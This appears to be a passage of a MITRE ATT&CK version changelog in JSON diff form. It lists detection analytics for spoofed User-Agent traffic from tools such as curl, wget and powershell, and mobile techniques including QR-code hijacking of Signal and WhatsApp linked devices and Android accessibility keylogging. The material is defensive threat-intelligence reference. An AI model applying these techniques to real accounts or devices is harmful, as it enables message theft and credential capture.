+ "description": "Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
+ "name": "Internet Scan",
+ "channel": "None"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--b73489af-2e95-4f41-b82e-327a84da2a1d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-22 19:00:47.079000+00:00",
+ "modified": "2025-10-24 15:00:29.811000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0898#AN2029",
+ "external_id": "AN2029"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2029",
+ "description": "Process execution without GUI context (e.g., powershell.exe, wscript.exe) generates HTTP traffic with a spoofed User-Agent mimicking a legitimate browser. No corresponding UI application (e.g., msedge.exe) is active or in parent lineage. The User-Agent deviates from known enterprise baselines or contains spoofed platform indicators. User-Agent strings can be gathered with API calls such as `ShellExecuteW` to open the default browser on a socket to receive an HTTP reply, or by hard coding the User-Agent string for a specific browser.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
+ "name": "NSM:Flow",
+ "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
+ "name": "WinEventLog:Sysmon",
+ "channel": "EventCode=3"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
+ "name": "etw:Microsoft-Windows-Kernel-Process",
+ "channel": "API Calls"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_mutable_elements": [
+ {
+ "field": "HeaderSignatureMatch",
+ "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)."
+ },
+ {
+ "field": "UserAgentFingerprint",
+ "description": "Flag browser-based sessions"
+ },
+ {
+ "field": "NonBrowserProcessList",
+ "description": "List of non-browser binaries expected not to initiate web requests (e.g., powershell.exe, cscript.exe)"
+ }
+ ],
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--098f0607-df17-4291-a1b1-a8e3374c075a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-22 20:40:20.993000+00:00",
+ "modified": "2025-10-23 20:07:29.933000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0897#AN2030",
+ "external_id": "AN2030"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2030",
+ "description": "A process with no prior history or outside of known whitelisted tools initiates file or registry modifications to configure exclusion rules for antivirus, backup, or file-handling systems. Or a file system enumeration for specific file names andcritical extensions like .dll, .exe, .sys, or specific directories such as 'Program Files' or security tool paths or system component discovery for the exclusion of the files or components.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
+ "name": "WinEventLog:PowerShell",
+ "channel": "EventCode=4104"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
+ "name": "WinEventLog:Security",
+ "channel": "EventCode=4688"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
+ "name": "WinEventLog:Security",
+ "channel": "EventCode=4670"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_mutable_elements": [
+ {
+ "field": "TimeWindow",
+ "description": "Correlate multiply discovery activities and file enumeration activities."
+ },
+ {
+ "field": "DiscoveryActivityThreshold",
+ "description": "Minimum number of different discovery techniques within time window to trigger detection - balance between false positives and coverage (default: 4 activities)"
+ },
+ {
+ "field": "ExclusionTargetList",
+ "description": "List of extensions or folders considered suspicious when excluded (e.g., .dll, .exe, C:\\\\Program Files\\\\)"
+ },
+ {
+ "field": "AuthorizedExclusionModifiers",
+ "description": "Whitelist of known system management tools/processes allowed to modify exclusion settings"
+ }
+ ],
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--acabb18b-e2d6-4531-92bb-4165f0a16595",
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+ "created": "2025-10-23 14:24:10.696000+00:00",
+ "modified": "2025-10-24 15:04:39.762000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0898#AN2031",
+ "external_id": "AN2031"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2031",
+ "description": "Detection of HTTP outbound requests with inconsistent or spoofed User-Agent headers from command-line tools (e.g., curl, wget, python requests) following interactive user shells or scheduled jobs outside of normal user session behavior.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
+ "name": "NSM:Flow",
+ "channel": "http.log, conn.log"
+ },
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+ "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
+ "name": "auditd:SYSCALL",
+ "channel": "outbound connections"
+ },
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+ "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
+ "name": "auditd:SYSCALL",
+ "channel": "execve"
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+ "x_mitre_mutable_elements": [
+ {
+ "field": "HeaderSignatureMatch",
+ "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)."
+ },
+ {
+ "field": "UserAgentFingerprint",
+ "description": "Flag browser-based sessions"
+ }
+ ],
+ "x_mitre_platforms": [
+ "Linux"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--29ca0e06-e848-44cd-821a-24576276a8af",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0898#AN2032",
+ "external_id": "AN2032"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2032",
+ "description": "Observation of scripted network requests (e.g., using osascript, curl, or python) that include mismatched or spoofed browser User-Agent strings compared to the typical macOS Safari or Chrome baseline, especially when triggered by non-interactive launch agents, login hooks, or background daemons.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
+ "name": "macos:unifiedlog",
+ "channel": "network connection events"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
+ "name": "NSM:Flow",
+ "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
+ "name": "macos:unifiedlog",
+ "channel": "exec logs"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_mutable_elements": [
+ {
+ "field": "UserAgentFingerprint",
+ "description": "Flag browser-based sessions"
+ },
+ {
+ "field": "HeaderSignatureMatch",
+ "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)."
+ }
+ ],
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ }
+ ],
+ "major_version_changes": [],
+ "minor_version_changes": [],
+ "other_version_changes": [],
+ "patches": [],
+ "revocations": [],
+ "deprecations": [],
+ "deletions": []
+ }
+ },
+ "mobile-attack": {
+ "techniques": {
+ "additions": [
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a126c117-54e4-4b93-9e4f-72cc964e6760",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-05-19 18:24:54.985000+00:00",
+ "modified": "2025-05-19 20:03:02.656000+00:00",
+ "name": "Linked Devices",
+ "description": "Adversaries may abuse the \u201clinked devices\u201d feature on messaging applications, such as Signal and WhatsApp, to register the user\u2019s account to an adversary-controlled device. By abusing the \u201clinked devices\u201d feature, adversaries may achieve and maintain persistence through the user\u2019s account, may collect information, such as the user\u2019s messages and contacts list, and may send future messages from the linked device.\n\nSignal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a \u201clinked devices\u201d feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.(Citation: WhatsApp_LinkDevice_NoDate)(Citation: Signal_LinkedDevices_NoDate)\n\nAdversaries may use [Phishing](https://attack.mitre.org/techniques/T1660) techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user\u2019s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices. \nUpon scanning the QR code in Signal, users may click on the \u201cTransfer Message History\u201d option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user\u2019s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-mobile-attack",
+ "phase_name": "collection"
+ },
+ {
+ "kill_chain_name": "mitre-mobile-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1676",
+ "external_id": "T1676"
+ },
+ {
+ "source_name": "Signal_LinkedDevices_NoDate",
+ "description": "Signal. (n.d.). Linked Devices. Retrieved May 9, 2025.",
+ "url": "https://support.signal.org/hc/en-us/articles/360007320551-Linked-Devices"
+ },
+ {
+ "source_name": "WhatsApp_LinkDevice_NoDate",
+ "description": "WhatsApp. (n.d.). How to link a device. Retrieved May 9, 2025.",
+ "url": "https://faq.whatsapp.com/1317564962315842/?helpref=faq_content&cms_platform=web"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Giorgi Gurgenidze, GITAC"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "mobile-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Android",
+ "iOS"
+ ],
+ "x_mitre_version": "1.0"
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--337e1136-a6d3-4465-a5c5-fdc658117747",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-09-17 14:58:52.520000+00:00",
+ "modified": "2025-09-17 15:21:58.225000+00:00",
+ "name": "Accounts",
+ "description": "Adversaries may utilize standard operating system APIs to gather account data. On Android, this can be accomplished by using the AccountManager API. For example, adversaries may use the `getAccounts()` method to list all accounts.(Citation: Android_AccountManager_Feb2025) On iOS, this can be accomplished by using the Keychain services. \n\nIf the device has been jailbroken or rooted, adversaries may be able to access [Accounts](https://attack.mitre.org/techniques/T1636/005) without the users\u2019 knowledge or approval. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-mobile-attack",
+ "phase_name": "collection"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1636/005",
+ "external_id": "T1636.005"
+ },
+ {
+ "source_name": "Android_AccountManager_Feb2025",
+ "description": "Android. (2025, February 13). AccountManager. Retrieved September 2, 2025.",
+ "url": "https://developer.android.com/reference/android/accounts/AccountManager"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Google's Android Security team"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "mobile-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Android",
+ "iOS"
+ ],
+ "x_mitre_version": "1.0"
+ }
+ ],
+ "major_version_changes": [
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-10-25 14:48:08.613000+00:00",
+ "modified": "2025-10-27 17:12:01.143000+00:00",
+ "name": "Abuse Accessibility Features",
+ "description": "Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device\u2019s user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview) \n\nOne example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) \n\nAnother example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features. ",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-mobile-attack",
+ "phase_name": "collection"
+ },
+ {
+ "kill_chain_name": "mitre-mobile-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1453",
+ "external_id": "T1453"
+ },
+ {
+ "source_name": "Google_AndroidAcsOverview",
+ "description": "Google. (n.d.). Android accessibility overview. Retrieved April 17, 2025.",
+ "url": "https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA"
+ },
+ {
+ "source_name": "SahinSRLabs_FluBot_Dec2021",
+ "description": "\u015eahin, Erdo\u011fan Ya\u011f\u0131z. (2021, December 21). When your phone gets sick: FluBot abuses Accessibility features to steal data. Retrieved April 16, 2025.",
+ "url": "https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Luk\u00e1\u0161 \u0160tefanko, ESET",
+ "Liran Ravich, CardinalOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "mobile-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Android"
+ ],
+ "x_mitre_version": "3.0",
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The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) \\n\\nAnother example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features. \", \"old_value\": \"**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**\\n\\nA malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)\\n\\nAdversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)\\n\\nAdversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the \\\"Back\\\" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,5 @@\\n-**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**\\n+Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. 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The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) \\n \\n-Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)\\n-\\n-Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the \\\"Back\\\" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)\\n+Another example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_deprecated']\": {\"new_value\": false, \"old_value\": true}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}, \"root['external_references'][0]\": {\"new_value\": {\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/techniques/T1453\", \"external_id\": \"T1453\"}, \"old_value\": {\"source_name\": \"mitre-mobile-attack\", \"url\": \"https://attack.mitre.org/techniques/T1453\", \"external_id\": \"T1453\"}}, \"root['external_references'][2]\": {\"new_value\": {\"source_name\": \"SahinSRLabs_FluBot_Dec2021\", \"description\": \"\\u015eahin, Erdo\\u011fan Ya\\u011f\\u0131z. (2021, December 21). When your phone gets sick: FluBot abuses Accessibility features to steal data. Retrieved April 16, 2025.\", \"url\": \"https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data\"}, \"old_value\": {\"source_name\": \"android-trojan-steals-paypal-2fa\", \"description\": \"Luk\\u00e1\\u0161 \\u0160tefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.\", \"url\": \"https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/\"}}, \"root['external_references'][1]\": {\"new_value\": {\"source_name\": \"Google_AndroidAcsOverview\", \"description\": \"Google. (n.d.). Android accessibility overview. Retrieved April 17, 2025.\", \"url\": \"https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA\"}, \"old_value\": {\"source_name\": \"Skycure-Accessibility\", \"description\": \"Yair Amit. (2016, March 3). \\u201cAccessibility Clickjacking\\u201d \\u2013 The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.\", \"url\": \"https://www.skycure.com/blog/accessibility-clickjacking/\"}}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Liran Ravich, CardinalOps\"}, \"iterable_item_removed\": {\"root['kill_chain_phases'][2]\": {\"kill_chain_name\": \"mitre-mobile-attack\", \"phase_name\": \"impact\"}, \"root['kill_chain_phases'][3]\": {\"kill_chain_name\": \"mitre-mobile-attack\", \"phase_name\": \"defense-evasion\"}, \"root['external_references'][3]\": {\"source_name\": \"banking-trojans-google-play\", \"description\": \"Luk\\u00e1\\u0161 \\u0160tefanko. (2018, October 24). Banking Trojans continue to surface on Google Play. Retrieved July 11, 2019.\", \"url\": \"https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/\"}}}",
+ "previous_version": "2.0",
+ "version_change": "2.0 \u2192 3.0",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | **This technique has been deprecated. Please use [Input Capt | t | 1 | Adversaries may abuse accessibility features in Android devi |
| > | ure](https://attack.mitre.org/techniques/T1417), [Input Inje | > | ces to steal sensitive data and to spread malware to other d | ||
| > | ction](https://attack.mitre.org/techniques/T1516), and [Inpu | > | evices. Accessibility features in Android are designed to as | ||
| > | t Prompt](https://attack.mitre.org/techniques/T1411) where a | > | sist users with disabilities, performing a variety of tasks, | ||
| > | ppropriate.** A malicious app could abuse Android's accessi | > | such as using Action Blocks to control lightbulbs, and chan | ||
| > | bility features to capture sensitive data or perform other m | > | ging the device\u2019s user interface, such as changing the font | ||
| > | alicious actions.(Citation: Skycure-Accessibility) Adversar | > | size and adjusting contract or colors.(Citation: Google_Andr | ||
| > | ies may abuse accessibility features on Android to emulate a | > | oidAcsOverview) One example of how adversaries abuse acces | ||
| > | user's clicks, for example to steal money from a user's ban | > | sibility features is overlaying an HTML object mimicking a l | ||
| > | k account.(Citation: android-trojan-steals-paypal-2fa)(Citat | > | egitimate login screen. The user types their credentials in | ||
| > | ion: banking-trojans-google-play) Adversaries may abuse acc | > | the overlay HTML object, which is then sent to the adversari | ||
| > | essibility features on Android devices to evade defenses by | > | es.(Citation: SahinSRLabs_FluBot_Dec2021) Another example | ||
| > | repeatedly clicking the \"Back\" button when a targeted app ma | > | is a malicious accessibility feature acting as a keylogger. | ||
| > | nager or mobile security app is launched, or when strings su | > | The keylogger monitors changes on the EditText fields and s | ||
| > | ggesting uninstallation are detected in the foreground. This | > | ends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec | ||
| > | effectively prevents the malicious application from being u | > | 2021) This method of attack is also described in [Keylogging | ||
| > | ninstalled.(Citation: android-trojan-steals-paypal-2fa) | > | ](https://attack.mitre.org/techniques/T1417/001); whereas [A | ||
| > | buse Accessibility Features](https://attack.mitre.org/techni | ||||
| > | ques/T1453) captures the overall abuse of accessibility feat | ||||
| > | ures. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send malicious content to users in order to | t | 1 | Adversaries may send malicious content to users in order to |
| > | gain access to their mobile devices. All forms of phishing a | > | gain access to their mobile devices. All forms of phishing a | ||
| > | re electronically delivered social engineering. Adversaries | > | re electronically delivered social engineering. Adversaries | ||
| > | can conduct both non-targeted phishing, such as in mass malw | > | can conduct both non-targeted phishing, such as in mass malw | ||
| > | are spam campaigns, as well as more targeted phishing tailor | > | are spam campaigns, as well as more targeted phishing tailor | ||
| > | ed for a specific individual, company, or industry, known as | > | ed for a specific individual, company, or industry, known as | ||
| > | \u201cspearphishing\u201d. Phishing often involves social engineerin | > | \u201cspearphishing.\u201d Phishing often involves social engineering | ||
| > | g techniques, such as posing as a trusted source, as well as | > | techniques, such as posing as a trusted source, as well as | ||
| > | evasion techniques, such as removing or manipulating emails | > | evasion techniques, such as removing or manipulating emails | ||
| > | or metadata/headers from compromised accounts being abused | > | or metadata/headers from compromised accounts being abused t | ||
| > | to send messages. Mobile phishing may take various forms. F | > | o send messages. Mobile phishing may take various forms. Fo | ||
| > | or example, adversaries may send emails containing malicious | > | r example, adversaries may send emails containing malicious | ||
| > | attachments or links, typically to deliver and then execute | > | attachments or links, typically to deliver and then execute | ||
| > | malicious code on victim devices. Phishing may also be cond | > | malicious code on victim devices. Phishing may also be condu | ||
| > | ucted via third-party services, like social media platforms. | > | cted via third-party services, like social media platforms. | ||
| > | Mobile devices are a particularly attractive target for | > | Adversaries may also impersonate executives of organizations | ||
| > | adversaries executing phishing campaigns. Due to their smal | > | to persuade victims into performing some action on their be | ||
| > | ler form factor than traditional desktop endpoints, users ma | > | half. For example, adversaries will often use social enginee | ||
| > | y not be able to notice minor differences between genuine an | > | ring techniques in text messages to trick the victims into a | ||
| > | d phishing websites. Further, mobile devices have additional | > | cting quickly, which leads to adversaries obtaining credenti | ||
| > | sensors and radios that allow adversaries to execute phishi | > | als and other information. Mobile devices are a particular | ||
| > | ng attempts over several different vectors, such as: - SMS | > | ly attractive target for adversaries executing phishing camp | ||
| > | messages: Adversaries may send SMS messages (known as \u201csmis | > | aigns. Due to their smaller form factor than traditional de | ||
| > | hing\u201d) from compromised devices to potential targets to conv | > | sktop endpoints, users may not be able to notice minor diffe | ||
| > | ince the target to, for example, install malware, navigate t | > | rences between genuine and phishing websites. Further, mobil | ||
| > | o a specific website, or enable certain insecure configurati | > | e devices have additional sensors and radios that allow adve | ||
| > | ons on their device. - Quick Response (QR) Codes: Adversarie | > | rsaries to execute phishing attempts over several different | ||
| > | s may use QR codes (known as \u201cquishing\u201d) to redirect users t | > | vectors, such as: - SMS messages: Adversaries may send SMS | ||
| > | o a phishing website. For example, an adversary could replac | > | messages (known as \u201csmishing\u201d) from compromised devices to | ||
| > | e a legitimate public QR Code with one that leads to a diffe | > | potential targets to convince the target to, for example, in | ||
| > | rent destination, such as a phishing website. A malicious QR | > | stall malware, navigate to a specific website, or enable cer | ||
| > | code could also be delivered via other means, such as SMS o | > | tain insecure configurations on their device. - Quick Respon | ||
| > | r email. In the latter case, an adversary could utilize a ma | > | se (QR) Codes: Adversaries may use QR codes (known as \u201cquish | ||
| > | licious QR code in an email to pivot from the user\u2019s desktop | > | ing\u201d) to redirect users to a phishing website. For example, | ||
| > | computer to their mobile device. - Phone Calls: Adversaries | > | an adversary could replace a legitimate public QR Code with | ||
| > | may call victims (known as \u201cvishing\u201d) to persuade them to p | > | one that leads to a different destination, such as a phishin | ||
| > | erform an action, such as providing login credentials or nav | > | g website. A malicious QR code could also be delivered via o | ||
| > | igating to a malicious website. This could also be used as a | > | ther means, such as SMS or email. In the latter case, an adv | ||
| > | technique to perform the initial access on a mobile device, | > | ersary could utilize a malicious QR code in an email to pivo | ||
| > | but then pivot to a computer/other network by having the vi | > | t from the user\u2019s desktop computer to their mobile device. - | ||
| > | ctim perform an action on a desktop computer. | > | Phone Calls: Adversaries may call victims (known as \u201cvishin | ||
| > | g\u201d) to persuade them to perform an action, such as providing | ||||
| > | login credentials or navigating to a malicious website. Thi | ||||
| > | s could also be used as a technique to perform the initial a | ||||
| > | ccess on a mobile device, but then pivot to a computer/other | ||||
| > | network by having the victim perform an action on a desktop | ||||
| > | computer. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Chameleon](https://attack.mitre.org/software/S1083) is an A | t | 1 | [Chameleon](https://attack.mitre.org/software/S1083) is an A |
| > | ndroid banking trojan that can leverage Android\u2019s Accessibil | > | ndroid banking trojan that can leverage Android\u2019s Accessibil | ||
| > | ity Services to perform malicious activities. Believed to ha | > | ity Services to perform malicious activities. Believed to ha | ||
| > | ve been first active in January 2023, [Chameleon](https://at | > | ve been first active in January 2023, [Chameleon](https://at | ||
| > | tack.mitre.org/software/S1083) has been observed targeting u | > | tack.mitre.org/software/S1083) has been observed targeting u | ||
| > | sers in Australia and Poland by masquerading as official app | > | sers in Australia and Poland by masquerading as official app | ||
